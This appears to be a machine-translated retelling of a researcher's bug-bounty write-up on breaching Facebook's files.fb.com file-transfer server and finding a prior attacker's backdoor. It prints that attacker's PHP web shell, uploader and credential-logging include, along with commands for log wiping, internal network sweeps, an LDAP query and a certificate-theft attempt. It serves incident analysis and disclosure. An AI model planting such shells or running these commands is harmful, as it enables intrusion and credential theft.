
Orange Tsai security researcher hacked one of Facebook's servers and discovered a backdoor to collect company employee accounts left by the attacker.
As a researcher writes in his blog, he was always more attracted by server-side attacks than client-side (XSS, etc.).
In 2012, Facebook launched the BugBounty program, which prompted the researcher to participate in the search for vulnerabilities on the servers of this popular social network.
')
The first stage is the exploration and collection of information, or so-called. recon on the object of attack.
The researcher set himself several goals:
- What can be discovered using Google Hacking queries ?;
- How many class B and C subnets are used ?;
- Whois, reverse-ip and axfr requests;
- Used domain names, subdomains;
- Software and hardware equipment (vendors, software versions, etc.);
- Possible source leaks on Github or Pastebin services
- Etc.
The BugBounty program usually has clear boundaries and limitations, but nevertheless, the researcher decided to search on the network perimeter for vulnerable services, possibly not included in the BugBounty scop, but nevertheless directly affecting the security infrastructure of the world's most popular social network.
Using the reverse whois technique, he discovered an interesting domain - tfbnw.net. Under this name, he suggested that he is dealing with TheFacebook Network.
On this domain was located the vpn.tfbnw.net subdomain, on which was the Juniper SSL VPN web interface. Unfortunately for the researcher, this version did not contain public vulnerabilities. However, by examining this C-class subnet, he discovered several interesting services:
- Mail Server Outlook Web App;
- F5 BIGIP SSL VPN;
- CISCO ASA SSL VPN;
- Oracle E-Business;
- MobileIron MDM;
Also, among these IP addresses, the server files.fb.com was discovered. Judging by the web application footer, Accellion's Secure File Transfer (also known by the acronym FTA) was used:

FTA is a product that provides secure file transfer, file sharing and synchronization, as well as integration with login mechanisms, including AD, LDAP, and Kerberos. Enterprise version supports SSL VPN services.
The researcher tried to find a current public exploit for this vulnerability and found a mention of the vulnerable version 0.18 (
Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857 ).
The version can be determined by the query “/ tws / getStatus”. The latest version was installed on the site - 0.20, which does not contain the vulnerabilities described above.
If it was not possible to find vulnerabilities using the black box method, you can try to find them with white. The researcher downloaded the FTA source codes and began searching for vulnerabilities in this product.
Researching the application, several conclusions were made:
- The web interface is a combination of Perl and PHP;
- PHP was obfuscated using IonCube;
- Many Perl demons have been used.
The researcher first tried to unprotect IonCube, but using public tools he failed. Also, he suggested that Rapid7 discovered surface vulnerabilities and it was necessary to dig much deeper.
The result of FTA research was finding:
- 3 XSS vulnerabilities;
- Pre-Auth SQL injection resulting in Remote Code Execution;
- Predictive secret-key, leading to remote code execution (Remote Code Execution);
- 2 vulnerabilities leading to local privilege escalation (Local Privilege Escalation).
In addition to sending a message about vulnerabilities to the Facebook Security Team, the corresponding notifications and the vendor of the vulnerable software, Accellion, were sent. The following CVEs have been assigned to vulnerabilities:
- CVE-2016-2350
- CVE-2016-2351
- CVE-2016-2352
- CVE-2016-2353
(More details will be revealed after the application of the disclosure / non-disclosure policy).
T.N. Shell flooding with sql-injection:

After gaining access to the server, the researcher took predictable steps to explore the server environment to minimize detection. They were found:
- Blocking outgoing TCP and UDP connections on ports 53, 80 and 443;
- Remote Syslog server;
- Enabled auditd log.
Despite the prohibitive firewall rules for outgoing connections, the researcher was able to establish a connection using an ICMP tunnel.
After the researcher managed to establish acceptable control over the web server, he found some strange error messages in the / var / opt / apache / php_error_log logs:

Examining the error messages and navigating to the affected directories, he found the web shell left by the previous “visitor”.

Contents of some "interesting" files:
sshpassRight, THAT sshpass
bN3d10Aw.php <?php echo shell_exec($_GET['c']); ?>
uploader.php <?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php <?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient_user_class_standard.inc <?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0; $max_retries = 100;
The last file include_once contains a call to the “regular” file sclient_user_class_standard.inc.orig to verify the password. The attacker used the modified file as a kind of proxy to collect GET and POST requests, COOKIES values ​​in plain-text.
An unknown attacker created a log file, which could be easily obtained from a hacked web server:
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
An example of an intercepted account:

From February 1 to February 7, about 300 user accounts of "@ fb.com" and "@ facebook.com" were intercepted:
- Regular users - accounts are stored in the database and encrypted with the "salty" SHA256.
- Facebook employees (@ fb.com) are authenticated using LDAP.
The data obtained by the attacker could lead to a compromise of related services (VPN, OWA, etc.).
The researcher notes that the attacker's actions were rather negligent, which indicates his unprofessionalism.
Every few days, the attacker cleaned the logs:
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
Archived files:
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz files
Investigated the internal network:
dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...
I used ShellScript to scan the internal network, but forgot to redirect STDERR:

Tried to connect to the LDAP server:
sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
Tried to get direct access to OWA:
--20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.
Tried to steal the root ssl certificate:
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input
After checking the browser, you can see that files.fb.com is signed with fb.com certificate:

The researcher reported on the identified vulnerability and activity of the attacker on the server to technical specialists of the company Facebook. Analysis of the logs showed that there were two invasions of the system - in July and September. Whether it was the same attacker is unknown. The July incident occurred just at the time of the appearance of the exploit to the above-mentioned CVE-2015-2857 from Rapid7 as part of the Metasploit Framework.